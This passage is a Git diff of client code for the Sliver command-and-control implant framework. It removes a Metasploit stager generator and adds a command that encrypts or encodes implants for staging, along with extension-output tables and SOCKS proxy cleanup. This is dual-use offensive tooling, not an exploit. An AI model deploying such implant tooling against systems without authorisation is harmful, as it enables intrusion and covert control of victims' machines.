bd = sha256.Sum256(depdata)
|
||||
name = hex.EncodeToString(bd[:])
|
||||
} else {
|
||||
// handle error
|
||||
con.PrintErrorf("attempted to load non-existing extension: %s", ext.DependsOn)
|
||||
return
|
||||
}
|
||||
|
||||
}
|
||||
callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
|
||||
Name: name,
|
||||
Export: entryPoint,
|
||||
@@ -543,23 +625,38 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
|
||||
PrintExtOutput(extName, ext.CommandName, ext.Schema, callExtResp, con)
|
||||
})
|
||||
con.PrintAsyncResponse(callExtResp.Response)
|
||||
} else {
|
||||
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
|
||||
PrintExtOutput(extName, ext.CommandName, ext.Schema, callExtResp, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintExtOutput - Print the ext execution output.
|
||||
func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverClient) {
|
||||
func PrintExtOutput(extName string, commandName string, outputSchema *packages.OutputSchema, callExtension *sliverpb.CallExtension, con *console.SliverClient) {
|
||||
if extName == commandName {
|
||||
con.PrintInfof("Successfully executed %s", extName)
|
||||
con.PrintInfof("Successfully executed %s\n", extName)
|
||||
} else {
|
||||
con.PrintInfof("Successfully executed %s (%s)", commandName, extName)
|
||||
con.PrintInfof("Successfully executed %s (%s)\n", commandName, extName)
|
||||
}
|
||||
if 0 < len(string(callExtension.Output)) {
|
||||
con.PrintInfof("Got output:\n%s", callExtension.Output)
|
||||
if outputSchema == nil {
|
||||
con.PrintInfof("Got output:\n%s", callExtension.Output)
|
||||
} else {
|
||||
// Get output schema
|
||||
schema := packages.GetNewPackageOutput(outputSchema.Name)
|
||||
if schema != nil {
|
||||
ingestErr := schema.IngestData(callExtension.Output, outputSchema.Columns(), outputSchema.GroupBy)
|
||||
if ingestErr != nil {
|
||||
con.PrintInfof("Got output:\n%s", callExtension.Output)
|
||||
} else {
|
||||
con.Printf("%s\n", schema.CreateTable())
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("Got output:\n%s", callExtension.Output)
|
||||
}
|
||||
}
|
||||
}
|
||||
if callExtension.Response != nil && callExtension.Response.Err != "" {
|
||||
con.PrintErrorf(callExtension.Response.Err)
|
||||
@@ -567,7 +664,7 @@ func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.
|
||||
}
|
||||
}
|
||||
|
||||
func getExtArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtCommand) ([]byte, error) {
|
||||
func getExtArgs(_ *cobra.Command, args []string, _ string, ext *ExtCommand) ([]byte, error) {
|
||||
var err error
|
||||
argsBuffer := core.BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
@@ -577,7 +674,7 @@ func getExtArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtComma
|
||||
missingRequiredArgs := make([]string, 0)
|
||||
|
||||
// If we have an extension that expects a single string, but more than one has been parsed, combine them
|
||||
if len(ext.Arguments) == 1 && strings.Contains(ext.Arguments[0].Type, "string") {
|
||||
if len(ext.Arguments) == 1 && strings.Contains(ext.Arguments[0].Type, "string") && len(args) > 0 {
|
||||
// The loop below will only read the first element of args because ext.Arguments is 1
|
||||
args[0] = strings.Join(args, " ")
|
||||
}
|
||||
|
||||
@@ -48,30 +48,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
|
||||
generateCmd.AddCommand(generateBeaconCmd)
|
||||
|
||||
generateStagerCmd := &cobra.Command{
|
||||
Use: consts.MsfStagerStr,
|
||||
Short: "Generate a stager using Metasploit (requires local Metasploit installation)",
|
||||
Long: help.GetHelpFor([]string{consts.MsfStagerStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
GenerateStagerCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("stager", false, generateStagerCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("os", "o", "windows", "operating system")
|
||||
f.StringP("arch", "a", "amd64", "cpu architecture")
|
||||
f.StringP("lhost", "L", "", "Listening host")
|
||||
f.Uint32P("lport", "l", 8443, "Listening port")
|
||||
f.StringP("protocol", "r", "tcp", "Staging protocol (tcp/http/https)")
|
||||
f.StringP("format", "f", "raw", "Output format (msfvenom formats, see help generate msf-stager for the list)")
|
||||
f.StringP("badchars", "b", "", "bytes to exclude from stage shellcode")
|
||||
f.StringP("save", "s", "", "directory to save the generated stager to")
|
||||
f.StringP("advanced", "d", "", "Advanced options for the stager using URI query syntax (option1=value1&option2=value2...)")
|
||||
})
|
||||
flags.BindFlagCompletions(generateStagerCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
||||
})
|
||||
generateCmd.AddCommand(generateStagerCmd)
|
||||
|
||||
generateInfoCmd := &cobra.Command{
|
||||
Use: consts.CompilerInfoStr,
|
||||
Short: "Get information about the server's compiler",
|
||||
@@ -184,6 +160,28 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
}
|
||||
profilesCmd.AddCommand(profilesNewCmd)
|
||||
|
||||
profilesStageCmd := &cobra.Command{
|
||||
Use: consts.StageStr,
|
||||
Short: "Generate implant from a profile and encode or encrypt it",
|
||||
Args: cobra.ExactArgs(1),
|
||||
Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.StageStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ProfilesStageCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("profiles", false, profilesStageCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("save", "s", "", "directory/file to the binary to")
|
||||
f.StringP("name", "n", "", "Implant name")
|
||||
f.StringP("aes-encrypt-key", "k", "", "AES Encryption Key")
|
||||
f.StringP("aes-encrypt-iv", "i", "", "AES Encryption IV")
|
||||
f.StringP("rc4-encrypt-key", "r", "", "RC4 encryption key")
|
||||
f.BoolP("prepend-size", "p", false, "Prepend stage size")
|
||||
f.StringP("compress", "c", "", "Compress stage (zlib, gzip, deflate9 or deflate)")
|
||||
})
|
||||
|
||||
carapace.Gen(profilesStageCmd).PositionalCompletion(ProfileNameCompleter(con))
|
||||
profilesCmd.AddCommand(profilesStageCmd)
|
||||
|
||||
// Session flags and completions.
|
||||
coreImplantFlags("session", profilesNewCmd)
|
||||
compileImplantFlags("session", profilesNewCmd)
|
||||
|
||||
@@ -1,131 +0,0 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// GenerateStagerCmd - Generate a stager using Metasploit.
|
||||
func GenerateStagerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
var stageProto clientpb.StageProtocol
|
||||
lhost, _ := cmd.Flags().GetString("lhost")
|
||||
if lhost == "" {
|
||||
con.PrintErrorf("Please specify a listening host")
|
||||
return
|
||||
}
|
||||
match, err := regexp.MatchString(`^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$`, lhost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if !match {
|
||||
addr, err := net.LookupHost(lhost)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error resolving %s: %v\n", lhost, err)
|
||||
return
|
||||
}
|
||||
if len(addr) > 1 {
|
||||
prompt := &survey.Select{
|
||||
Message: "Select an address",
|
||||
Options: addr,
|
||||
}
|
||||
err := survey.AskOne(prompt, &lhost)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v\n", err)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
lhost = addr[0]
|
||||
}
|
||||
}
|
||||
lport, _ := cmd.Flags().GetUint32("lport")
|
||||
stageOS, _ := cmd.Flags().GetString("os")
|
||||
arch, _ := cmd.Flags().GetString("arch")
|
||||
proto, _ := cmd.Flags().GetString("protocol")
|
||||
format, _ := cmd.Flags().GetString("format")
|
||||
badChars, _ := cmd.Flags().GetString("badchars")
|
||||
save, _ := cmd.Flags().GetString("save")
|
||||
advOptions, _ := cmd.Flags().GetString("advanced")
|
||||
|
||||
bChars := make([]string, 0)
|
||||
if len(badChars) > 0 {
|
||||
for _, b := range strings.Split(badChars, " ") {
|
||||
bChars = append(bChars, fmt.Sprintf("\\x%s", b))
|
||||
}
|
||||
}
|
||||
|
||||
switch proto {
|
||||
case "tcp":
|
||||
stageProto = clientpb.StageProtocol_TCP
|
||||
case "http":
|
||||
stageProto = clientpb.StageProtocol_HTTP
|
||||
case "https":
|
||||
stageProto = clientpb.StageProtocol_HTTPS
|
||||
default:
|
||||
con.PrintErrorf("%s staging protocol not supported\n", proto)
|
||||
return
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Generating stager, please wait ...", ctrl)
|
||||
stageFile, err := con.Rpc.MsfStage(context.Background(), &clientpb.MsfStagerReq{
|
||||
Arch: arch,
|
||||
BadChars: bChars,
|
||||
Format: format,
|
||||
Host: lhost,
|
||||
Port: lport,
|
||||
Protocol: stageProto,
|
||||
OS: stageOS,
|
||||
AdvOptions: advOptions,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v - Please make sure Metasploit framework >= v6.2 is installed and msfvenom/msfconsole are in your PATH", err)
|
||||
return
|
||||
}
|
||||
|
||||
if save != "" || format == "raw" {
|
||||
saveTo, err := saveLocation(save, stageFile.GetFile().GetName(), con)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
err = os.WriteFile(saveTo, stageFile.GetFile().GetData(), 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to: %s\n", saveTo)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Sliver implant stager saved to: %s\n", saveTo)
|
||||
} else {
|
||||
con.PrintInfof("Here's your stager:\n")
|
||||
con.Println(string(stageFile.GetFile().GetData()))
|
||||
}
|
||||
}
|
||||
@@ -45,7 +45,6 @@ var (
|
||||
consts.InfoStr: infoHelp,
|
||||
consts.UseStr: useHelp,
|
||||
consts.GenerateStr: generateHelp,
|
||||
consts.MsfStagerStr: generateStagerHelp,
|
||||
consts.StageListenerStr: stageListenerHelp,
|
||||
|
||||
consts.MsfStr: msfHelp,
|
||||
@@ -108,6 +107,7 @@ var (
|
||||
// Profiles
|
||||
consts.ProfilesStr + sep + consts.NewStr: newProfileHelp,
|
||||
consts.ProfilesStr + sep + consts.GenerateStr: generateProfileHelp,
|
||||
consts.ProfilesStr + sep + consts.StageStr: generateProfileStageHelp,
|
||||
|
||||
// Reactions
|
||||
consts.ReactionStr: reactionHelp,
|
||||
@@ -121,6 +121,7 @@ var (
|
||||
|
||||
// HTTP C2
|
||||
consts.C2ProfileStr: c2ProfilesHelp,
|
||||
consts.C2ProfileStr + sep + consts.C2GenerateStr: c2GenerateHelp,
|
||||
}
|
||||
|
||||
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
|
||||
@@ -194,33 +195,6 @@ Execution limits can be used to restrict the execution of a Sliver implant to ma
|
||||
Due to the large number of options and C2s this can be a lot of typing. If you'd like to have a reusable a Sliver config
|
||||
see 'help profiles new'. All "generate" flags can be saved into a profile, you can view existing profiles with the "profiles"
|
||||
command.
|
||||
`
|
||||
generateStagerHelp = `[[.Bold]]Command:[[.Normal]] generate msf-stager <options>
|
||||
[[.Bold]]About:[[.Normal]] Generate a new sliver stager shellcode and saves the output to the cwd or a path specified with --save, or to stdout using --format.
|
||||
|
||||
[[.Bold]][[.Underline]]++ Bad Characters ++[[.Normal]]
|
||||
Bad characters must be specified like this for single bytes:
|
||||
|
||||
generate msf-stager -b 00
|
||||
|
||||
And like this for multiple bytes:
|
||||
|
||||
generate msf-stager -b '00 0a cc'
|
||||
|
||||
[[.Bold]][[.Underline]]++ Output Formats ++[[.Normal]]
|
||||
You can use the --format flag to print out the shellcode to stdout, in one of the following transform formats:
|
||||
[[.Bold]]bash c csharp dw dword hex java js_be js_le num perl pl powershell ps1 py python raw rb ruby sh vbapplication vbscript[[.Normal]]
|
||||
|
||||
[[.Bold]][[.Underline]]++ Advanced Options ++[[.Normal]]
|
||||
If there are any advanced options you need to pass to msfvenom, you can use the --advanced flag to provide them. They must be provided in URI query format: option1=value1&option2=value2 and so on.
|
||||
The full list of advanced options is available using "show advanced" in msf for the payload corresponding to the chosen protocol:
|
||||
TCP: meterpreter/reverse_tcp
|
||||
HTTP: custom/reverse_winhttp
|
||||
HTTPS: custom/reverse_winhttps
|
||||
|
||||
Example:
|
||||
To tell the stager to use the proxy proxy.corp.com:8080 with the user name "corp_drone" and password "MyPassword", you would pass the following string to --advanced:
|
||||
HttpProxyHost=proxy.corp.com&HttpProxyPort=8080&HttpProxyUser=corp_drone&HttpProxyPass=MyPassword
|
||||
`
|
||||
stageListenerHelp = `[[.Bold]]Command:[[.Normal]] stage-listener <options>
|
||||
[[.Bold]]About:[[.Normal]] Starts a stager listener bound to a Sliver profile.
|
||||
@@ -249,6 +223,9 @@ settings. Generated implants will still have per-binary certificates/obfuscation
|
||||
generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate [name] <options>
|
||||
[[.Bold]]About:[[.Normal]] Generate an implant from a saved profile (see 'profiles new --help').`
|
||||
|
||||
generateProfileStageHelp = `[[.Bold]]Command:[[.Normal]] stage [name] <options>
|
||||
[[.Bold]]About:[[.Normal]] Generate and encrypt or encode an implant from a saved profile (see 'profiles stage --help').`
|
||||
|
||||
msfHelp = `[[.Bold]]Command:[[.Normal]] msf [--lhost] <options>
|
||||
[[.Bold]]About:[[.Normal]] Execute a metasploit payload in the current process.`
|
||||
|
||||
@@ -1292,6 +1269,10 @@ Sliver uses the same hash identifiers as Hashcat (use the #):
|
||||
C2ProfileImportStr = `[[.Bold]]Command:[[.Normal]] Import
|
||||
[[.Bold]]About:[[.Normal]] Load custom HTTP C2 profiles.
|
||||
`
|
||||
c2GenerateHelp = `[[.Bold]]Command:[[.Normal]] C2 Profile generate
|
||||
[[.Bold]]About:[[.Normal]] Generate C2 profile using a file containing urls.
|
||||
Optionaly import profile or use another profile as a base template for the new profile.
|
||||
`
|
||||
|
||||
grepHelp = `[[.Bold]]Command:[[.Normal]] grep [flags / options] <search pattern> <path>
|
||||
[[.Bold]]About:[[.Normal]] Search a file or path for a search pattern
|
||||
|
||||
@@ -26,6 +26,7 @@ import (
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -74,6 +75,16 @@ func KillSession(session *clientpb.Session, cmd *cobra.Command, con *console.Sli
|
||||
timeout, _ := cmd.Flags().GetInt64("timeout")
|
||||
force, _ := cmd.Flags().GetBool("force")
|
||||
|
||||
// remove any active socks proxies
|
||||
socks := core.SocksProxies.List()
|
||||
if len(socks) != 0 {
|
||||
for _, p := range socks {
|
||||
if p.SessionID == session.ID {
|
||||
core.SocksProxies.Remove(p.ID)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
|
||||
Request: &commonpb.Request{
|
||||
SessionID: session.ID,
|
||||
|
||||
@@ -26,6 +26,8 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/beacons"
|
||||
"github.com/bishopfox/sliver/client/command/builders"
|
||||
"github.com/bishopfox/sliver/client/command/c2profiles"
|
||||
"github.com/bishopfox/sliver/client/command/certificates"
|
||||
"github.com/bishopfox/sliver/client/command/clean"
|
||||
"github.com/bishopfox/sliver/client/command/crack"
|
||||
"github.com/bishopfox/sliver/client/command/creds"
|
||||
"github.com/bishopfox/sliver/client/command/exit"
|
||||
@@ -41,6 +43,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/sessions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai"
|
||||
"github.com/bishopfox/sliver/client/command/socks"
|
||||
"github.com/bishopfox/sliver/client/command/taskmany"
|
||||
"github.com/bishopfox/sliver/client/command/update"
|
||||
"github.com/bishopfox/sliver/client/command/use"
|
||||
@@ -93,6 +96,8 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
|
||||
operators.Commands,
|
||||
creds.Commands,
|
||||
crack.Commands,
|
||||
certificates.Commands,
|
||||
clean.Command,
|
||||
)
|
||||
|
||||
// C2 Network
|
||||
@@ -101,6 +106,7 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
|
||||
websites.Commands,
|
||||
wireguard.Commands,
|
||||
c2profiles.Commands,
|
||||
socks.RootCommands,
|
||||
)
|
||||
|
||||
// Payloads
|
||||
|
||||
@@ -22,6 +22,7 @@ import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
@@ -35,6 +36,16 @@ func CloseSessionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
return
|
||||
}
|
||||
|
||||
// remove any active socks proxies
|
||||
socks := core.SocksProxies.List()
|
||||
if len(socks) != 0 {
|
||||
for _, p := range socks {
|
||||
if p.SessionID == session.ID {
|
||||
core.SocksProxies.Remove(p.ID)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Close the session
|
||||
_, err := con.Rpc.CloseSession(context.Background(), &sliverpb.CloseSession{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
package socks
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
// Commands returns the “ command and its subcommands.
|
||||
func RootCommands(con *console.SliverClient) []*cobra.Command {
|
||||
socksCmd := &cobra.Command{
|
||||
Use: consts.Socks5Str,
|
||||
Short: "In-band SOCKS5 Proxy",
|
||||
Long: help.GetHelpFor([]string{consts.Socks5Str}),
|
||||
GroupID: consts.NetworkHelpGroup,
|
||||
Annotations: flags.RestrictTargets(consts.SessionCmdsFilter),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
SocksCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", true, socksCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
|
||||
socksStopCmd := &cobra.Command{
|
||||
Use: consts.StopStr,
|
||||
Short: "Stop a SOCKS5 proxy",
|
||||
Long: help.GetHelpFor([]string{consts.Socks5Str}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
SocksStopCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
socksCmd.AddCommand(socksStopCmd)
|
||||
flags.Bind("", false, socksStopCmd, func(f *pflag.FlagSet) {
|
||||
f.Uint64P("id", "i", 0, "id of portfwd to remove")
|
||||
})
|
||||
flags.BindFlagCompletions(socksStopCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["id"] = SocksIDCompleter(con)
|
||||
})
|
||||
|
||||
return []*cobra.Command{socksCmd}
|
||||
}
|
||||
@@ -42,6 +42,8 @@ func SocksCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
return socks[i].ID < socks[j].ID
|
||||
})
|
||||
|
||||
session := con.ActiveTarget.GetSession()
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
@@ -52,6 +54,10 @@ func SocksCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
"Passwords",
|
||||
})
|
||||
for _, p := range socks {
|
||||
// if we're in an active session, just display socks proxies for the session
|
||||
if session != nil && session.ID != p.SessionID {
|
||||
continue
|
||||
}
|
||||
tw.AppendRow(table.Row{p.ID, p.SessionID, p.BindAddr, p.Username, p.Password})
|
||||
}
|
||||
|
||||
|
||||
@@ -227,7 +227,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
extensions.PrintExtOutput("", "", callExtension, con)
|
||||
extensions.PrintExtOutput("", "", nil, callExtension, con)
|
||||
|
||||
// ---------------------
|
||||
// Exec commands
|
||||
|
||||
@@ -264,11 +264,13 @@ func downloadAsset(client *http.Client, asset *version.Asset, saveTo string) err
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer writer.Close()
|
||||
|
||||
resp, err := client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
bar := pb.Full.Start64(limit)
|
||||
barReader := bar.NewProxyReader(resp.Body)
|
||||
|
||||
@@ -88,7 +88,7 @@ func WGConfigCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
|
||||
save, _ := cmd.Flags().GetString("save")
|
||||
if save == "" {
|
||||
con.PrintInfof("New client config:")
|
||||
con.PrintInfof("New client config:\n")
|
||||
con.Println(output.String())
|
||||
} else {
|
||||
if !strings.HasSuffix(save, ".conf") {
|
||||
|
||||
@@ -356,7 +356,7 @@ func (con *SliverClient) triggerReactions(event *clientpb.Event) {
|
||||
for _, reaction := range reactions {
|
||||
for _, line := range reaction.Commands {
|
||||
con.PrintInfof(Bold+"Execute reaction: '%s'"+Normal, line)
|
||||
err := con.App.ActiveMenu().RunCommand(line)
|
||||
err := con.App.ActiveMenu().RunCommandLine(line)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Reaction command error: %s\n", err)
|
||||
}
|
||||
|
||||
@@ -133,9 +133,9 @@ const (
|
||||
TasksStr = "tasks"
|
||||
CancelStr = "cancel"
|
||||
GenerateStr = "generate"
|
||||
C2GenerateStr = "generate"
|
||||
RegenerateStr = "regenerate"
|
||||
CompilerInfoStr = "info"
|
||||
MsfStagerStr = "msf-stager"
|
||||
ProfilesStr = "profiles"
|
||||
BeaconStr = "beacon"
|
||||
BeaconsStr = "beacons"
|
||||
@@ -146,6 +146,7 @@ const (
|
||||
C2ProfileStr = "c2profiles"
|
||||
ImportC2ProfileStr = "import"
|
||||
ExportC2ProfileStr = "export"
|
||||
CertificatesStr = "certificates"
|
||||
|
||||
// Generic.
|
||||
|
||||
|
||||
@@ -0,0 +1,254 @@
|
||||
package packages
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"slices"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2024 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
const (
|
||||
KeyValueSchemaName = "key-value"
|
||||
GroupedKeyValueSchemaName = "grouped-key-value"
|
||||
)
|
||||
|
||||
var validSchemas []string = []string{KeyValueSchemaName, GroupedKeyValueSchemaName}
|
||||
|
||||
type OutputSchema struct {
|
||||
Name string `json:"name"`
|
||||
RawColumns string `json:"columns"`
|
||||
GroupBy string `json:"group_by"`
|
||||
cols []string `json:"-"`
|
||||
}
|
||||
|
||||
func (schema *OutputSchema) IngestColumns() {
|
||||
schema.cols = strings.Split(schema.RawColumns, ",")
|
||||
}
|
||||
|
||||
func (schema *OutputSchema) Columns() []string {
|
||||
return schema.cols
|
||||
}
|
||||
|
||||
type PackageOutput interface {
|
||||
// The names of columns followed by any other strings needed, like the data itself
|
||||
// Each type that implements this interface will have to make sure the correct number
|
||||
// of strings are provided
|
||||
IngestData([]byte, []string, ...string) error
|
||||
// Renders the data into a table
|
||||
CreateTable() string
|
||||
Name() string
|
||||
}
|
||||
|
||||
func IsValidSchemaType(name string) bool {
|
||||
return slices.Contains(validSchemas, name)
|
||||
}
|
||||
|
||||
func GetNewPackageOutput(name string) PackageOutput {
|
||||
switch name {
|
||||
case KeyValueSchemaName:
|
||||
return &KeyValuePairs{}
|
||||
case GroupedKeyValueSchemaName:
|
||||
return &GroupedKeyValuePairs{}
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
This output schema is suitable for data that is an array of key-value pairs
|
||||
*/
|
||||
type KeyValueData map[string]string
|
||||
type KeyValuePairs struct {
|
||||
columnOrder []string
|
||||
data []KeyValueData
|
||||
// This field is optional
|
||||
columnToGroupBy string
|
||||
}
|
||||
|
||||
/*
|
||||
This output schema is suitable for one or more key-values pairs grouped
|
||||
by a group name. This schema assumes the data is already grouped and
|
||||
does not perform the grouping itself.
|
||||
*/
|
||||
type GroupedKeyValuePairs struct {
|
||||
groupedBy string
|
||||
columnOrder []string
|
||||
data map[string][]KeyValueData
|
||||
}
|
||||
|
||||
func (kvd *KeyValueData) UnmarshalJSON(data []byte) error {
|
||||
var raw map[string]interface{}
|
||||
|
||||
if err := json.Unmarshal(data, &raw); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
*kvd = make(KeyValueData, len(raw))
|
||||
for key, value := range raw {
|
||||
key = strings.ToLower(key)
|
||||
switch v := value.(type) {
|
||||
case float64:
|
||||
(*kvd)[key] = strconv.FormatFloat(v, 'f', -1, 64)
|
||||
case string:
|
||||
// Newlines and extra whitespace mess up the table
|
||||
(*kvd)[key] = strings.TrimSpace(v)
|
||||
case bool:
|
||||
(*kvd)[key] = strconv.FormatBool(v)
|
||||
default:
|
||||
return fmt.Errorf("unsupported type %T", v)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (kvp *KeyValuePairs) IngestData(data []byte, order []string, arguments ...string) error {
|
||||
if len(arguments) > 1 {
|
||||
// Only an optional a column to group by
|
||||
return fmt.Errorf("unexpected number of arguments - expected only an optional column name to group by")
|
||||
}
|
||||
groupByColumn := ""
|
||||
if len(arguments) == 1 {
|
||||
groupByColumn = arguments[0]
|
||||
}
|
||||
err := json.Unmarshal(data, &kvp.data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if len(kvp.data) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
// If the wrong columns were provided, there will be empty cells
|
||||
kvp.columnOrder = order
|
||||
// If an invalid column name is supplied, it will have no effect
|
||||
kvp.columnToGroupBy = groupByColumn
|
||||
return nil
|
||||
}
|
||||
|
||||
func (kvp *KeyValuePairs) CreateTable() string {
|
||||
if len(kvp.data) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
t := table.NewWriter()
|
||||
|
||||
header := table.Row{}
|
||||
for _, column := range kvp.columnOrder {
|
||||
header = append(header, column)
|
||||
}
|
||||
|
||||
t.AppendHeader(header)
|
||||
for _, dataRow := range kvp.data {
|
||||
tableRow := table.Row{}
|
||||
|
||||
for _, column := range kvp.columnOrder {
|
||||
column = strings.ToLower(column)
|
||||
tableRow = append(tableRow, dataRow[column])
|
||||
}
|
||||
t.AppendRow(tableRow)
|
||||
}
|
||||
|
||||
t.SetColumnConfigs([]table.ColumnConfig{{Name: kvp.columnToGroupBy, AutoMerge: true}})
|
||||
if kvp.columnToGroupBy != "" {
|
||||
t.SortBy([]table.SortBy{{Name: kvp.columnToGroupBy, Mode: table.Asc}})
|
||||
} else {
|
||||
t.SortBy([]table.SortBy{{Number: 1, Mode: table.Asc}})
|
||||
}
|
||||
|
||||
return t.Render()
|
||||
}
|
||||
|
||||
func (kvp *KeyValuePairs) Name() string {
|
||||
